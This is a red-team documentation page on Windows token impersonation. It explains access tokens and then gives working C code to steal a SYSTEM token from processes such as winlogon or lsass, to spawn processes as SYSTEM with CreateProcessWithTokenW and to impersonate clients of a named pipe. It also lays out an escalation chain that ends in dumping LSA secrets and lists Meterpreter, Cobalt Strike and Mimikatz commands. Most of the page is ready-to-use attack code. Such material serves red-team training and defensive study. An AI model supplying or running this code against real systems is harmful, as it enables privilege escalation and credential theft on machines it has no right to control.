> For the complete documentation index, see [llms.txt](https://docs.redteamleaders.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.redteamleaders.com/offensive-security/defense-evasion/token-impersonation-identity-theft-on-windows.md).

# Token Impersonation — Identity Theft on Windows

### The Token-Based Security Model

On Windows, every process and thread has an associated **access token** that defines its security identity: user, groups, enabled privileges, and integrity level. When a process accesses a resource (file, registry key, kernel object), the system compares that process's token against the Security Descriptor (DACL/SACL) of the resource.

There are two types of tokens:

* **Primary Token**: Associated with the process. Represents the default identity of the process.
* **Impersonation Token**: Used by individual threads to temporarily assume another identity.

```
┌──────────────────────────────────────────────────────────────────────┐
│                  Access Token Structure                              │
│                                                                      │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │                    ACCESS TOKEN                             │    │
│  │  TokenUser:        S-1-5-21-...-1001 (DOMAIN\User)         │    │
│  │  TokenGroups:      [Administrators, Users, Everyone...]     │    │
│  │  TokenPrivileges:  [SeDebugPrivilege, SeImpersonatePriv...] │    │
│  │  TokenIntegrity:   High (0x3000) / System (0x4000)          │    │
│  │  TokenSessionId:   1                                        │    │
│  │  ImpersonationLevel: SecurityImpersonation (3)              │    │
│  └─────────────────────────────────────────────────────────────┘    │
│                                                                      │
│  Token stolen from SYSTEM process:                                   │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │  TokenUser:        S-1-5-18 (NT AUTHORITY\SYSTEM)           │    │
│  │  TokenPrivileges:  [SeTcbPrivilege, SeAssignPrimaryToken...] │   │
│  │  TokenIntegrity:   System (0x4000)                          │    │
│  └─────────────────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────────────────┘
```

**Token Impersonation** is the technique of obtaining a token from another process (typically one with higher privileges) and using it to execute operations under that process's identity.

***

### Prerequisites: Required Privileges

| Privilege                       | Purpose                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `SeDebugPrivilege`              | Opens handles to processes of other users (including SYSTEM)       |
| `SeImpersonatePrivilege`        | Allows impersonating other tokens                                  |
| `SeAssignPrimaryTokenPrivilege` | Allows assigning a primary token to a process                      |
| `SeTcbPrivilege`                | Allows creating tokens with any SID (TCB = Trusted Computing Base) |

A user in the **Administrators** group typically has `SeDebugPrivilege` and `SeImpersonatePrivilege`. Network services and local services have `SeImpersonatePrivilege` by default.

***

### Technique 1: Token Stealing from SYSTEM Process

```c
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Enable a privilege in the current process token
BOOL EnablePrivilege(const char* privName) {
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
                          &hToken)) {
        return FALSE;
    }

    LUID luid;
    if (!LookupPrivilegeValueA(NULL, privName, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    TOKEN_PRIVILEGES tp = {0};
    tp.PrivilegeCount           = 1;
    tp.Privileges[0].Luid       = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
    CloseHandle(hToken);
    return result && GetLastError() == ERROR_SUCCESS;
}

// Find PID of a process running as SYSTEM
DWORD FindSystemProcess(void) {
    const char* systemProcs[] = {
        "winlogon.exe",
        "services.exe",
        "lsass.exe",
        NULL
    };

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
    if (!Process32First(hSnap, &pe)) {
        CloseHandle(hSnap);
        return 0;
    }

    do {
        for (int i = 0; systemProcs[i]; i++) {
            if (_stricmp(pe.szExeFile, systemProcs[i]) == 0) {
                CloseHandle(hSnap);
                return pe.th32ProcessID;
            }
        }
    } while (Process32Next(hSnap, &pe));

    CloseHandle(hSnap);
    return 0;
}

// Steal token from SYSTEM process and impersonate it
BOOL StealSystemToken(void) {
    // 1. Enable SeDebugPrivilege to open handles to any process
    if (!EnablePrivilege(SE_DEBUG_NAME)) {
        printf("[-] Failed to enable SeDebugPrivilege\n");
        return FALSE;
    }
    printf("[+] SeDebugPrivilege enabled\n");

    // 2. Locate a SYSTEM process
    DWORD sysPid = FindSystemProcess();
    if (!sysPid) {
        printf("[-] SYSTEM process not found\n");
        return FALSE;
    }
    printf("[+] SYSTEM process found: PID %lu\n", sysPid);

    // 3. Open handle to the target process
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, sysPid);
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    // 4. Open the primary token of the process
    HANDLE hToken;
    if (!OpenProcessToken(hProcess,
                          TOKEN_DUPLICATE | TOKEN_QUERY,
                          &hToken)) {
        printf("[-] OpenProcessToken failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    CloseHandle(hProcess);

    // 5. Duplicate the token as an impersonation token
    HANDLE hDupToken;
    SECURITY_ATTRIBUTES sa = { .nLength = sizeof(sa) };

    if (!DuplicateTokenEx(
        hToken,
        TOKEN_ALL_ACCESS,
        &sa,
        SecurityImpersonation,
        TokenImpersonation,
        &hDupToken
    )) {
        printf("[-] DuplicateTokenEx failed: %lu\n", GetLastError());
        CloseHandle(hToken);
        return FALSE;
    }
    CloseHandle(hToken);

    // 6. Impersonate the token on the current thread
    if (!ImpersonateLoggedOnUser(hDupToken)) {
        printf("[-] ImpersonateLoggedOnUser failed: %lu\n", GetLastError());
        CloseHandle(hDupToken);
        return FALSE;
    }

    printf("[+] Successfully impersonating SYSTEM!\n");

    // 7. Verify current identity
    char username[256] = {0};
    DWORD unameLen = sizeof(username);
    GetUserNameA(username, &unameLen);
    printf("[+] Current identity: %s\n", username);

    CloseHandle(hDupToken);
    return TRUE;
}
```

***

### Technique 2: Spawn Process with Stolen Token (CreateProcessWithTokenW)

Instead of only impersonating on the current thread, we can create a child process running with the stolen token:

```c
BOOL SpawnProcessAsSystem(const wchar_t* cmdLine) {
    // Repeat steps 1-4 from Technique 1 to get a SYSTEM token
    // Here we assume hDupToken is a PRIMARY token (not impersonation)

    HANDLE hToken = NULL;
    // ... (obtain SYSTEM token as PRIMARY token)

    HANDLE hPrimaryToken;
    DuplicateTokenEx(
        hToken,
        TOKEN_ALL_ACCESS,
        NULL,
        SecurityImpersonation,
        TokenPrimary,           // Primary token for new process
        &hPrimaryToken
    );

    STARTUPINFOW si = { .cb = sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    BOOL result = CreateProcessWithTokenW(
        hPrimaryToken,
        LOGON_WITH_PROFILE,
        NULL,
        (LPWSTR)cmdLine,
        CREATE_NEW_CONSOLE,
        NULL, NULL,
        &si, &pi
    );

    if (result) {
        printf("[+] Process created as SYSTEM: PID %lu\n", pi.dwProcessId);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    CloseHandle(hPrimaryToken);
    return result;
}
```

***

### Technique 3: Named Pipe Impersonation

This technique creates a fake named pipe and tricks a privileged process (usually a SYSTEM service) into connecting to it. When the service connects and writes to the pipe, the server can call `ImpersonateNamedPipeClient()` to assume the client's identity.

```c
#include <windows.h>
#include <stdio.h>

BOOL NamedPipeImpersonation(void) {
    // 1. Create a named pipe
    HANDLE hPipe = CreateNamedPipeA(
        "\\\\.\\pipe\\legit_service_pipe",
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        1,
        1024,
        1024,
        0,
        NULL  // No security attributes (allows any connection)
    );

    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Pipe created. Waiting for privileged connection...\n");

    // 2. Wait for a privileged process to connect
    // (In practice, an exploit or social engineering forces the service to connect)
    if (!ConnectNamedPipe(hPipe, NULL)) {
        if (GetLastError() != ERROR_PIPE_CONNECTED) {
            CloseHandle(hPipe);
            return FALSE;
        }
    }

    printf("[+] Client connected to pipe!\n");

    // 3. Impersonate the client (assume the identity of whoever connected)
    if (!ImpersonateNamedPipeClient(hPipe)) {
        printf("[-] ImpersonateNamedPipeClient failed: %lu\n", GetLastError());
        CloseHandle(hPipe);
        return FALSE;
    }

    // 4. Verify the impersonated identity
    char username[256] = {0};
    DWORD unameLen = sizeof(username);
    GetUserNameA(username, &unameLen);
    printf("[+] Impersonating: %s\n", username);

    // 5. Execute operations with the privileged identity
    // ...

    RevertToSelf();  // Revert to original identity
    CloseHandle(hPipe);
    return TRUE;
}
```

***

### Typical Red Team Token Escalation Chain

```
┌──────────────────────────────────────────────────────────────────────┐
│           Typical Token Impersonation Chain in Red Team              │
│                                                                      │
│  Initial access as regular user (no SeDebug)                         │
│       │                                                              │
│       ▼                                                              │
│  Exploit local vulnerability → admin access                          │
│       │                                                              │
│       ▼                                                              │
│  Enable SeDebugPrivilege (admin token can do this)                   │
│       │                                                              │
│       ▼                                                              │
│  OpenProcess(PROCESS_QUERY_INFO) on winlogon.exe (SYSTEM)           │
│       │                                                              │
│       ▼                                                              │
│  OpenProcessToken + DuplicateTokenEx → SYSTEM token                 │
│       │                                                              │
│       ▼                                                              │
│  ImpersonateLoggedOnUser OR CreateProcessWithTokenW                  │
│       │                                                              │
│       ▼                                                              │
│  Operating as NT AUTHORITY\SYSTEM                                    │
│  → LSA secret dump, unrestricted access to any resource             │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Red Team Tooling

* **Incognito** (integrated in Meterpreter): `list_tokens -u` / `impersonate_token "NT AUTHORITY\SYSTEM"`
* **Cobalt Strike**: `steal_token <pid>` / `make_token <domain>\<user> <pass>`
* **Mimikatz**: `token::elevate` / `token::impersonate`

***

### References

* James Forshaw, "Abusing Token Privileges for LPE" — Google Project Zero (2019)
* harmj0y, "Token Impersonation and UAC Bypass" — harmj0y.net
* ired.team, "Access Token Manipulation" — ired.team/offensive-security/privilege-escalation/
* MITRE ATT\&CK, "T1134 — Access Token Manipulation" — attack.mitre.org
* Microsoft Docs, "Access Tokens" — docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens
* decoder-it, "Juicy Potato — Token Impersonation via SeImpersonatePrivilege" — github.com/ohpe/juicy-potato
* foxglovesecurity, "Rotten Potato — Privilege Escalation from Service Account to SYSTEM"
* itm4n, "PrintSpoofer — Impersonating the PrintSpooler" — itm4n.github.io (2020)
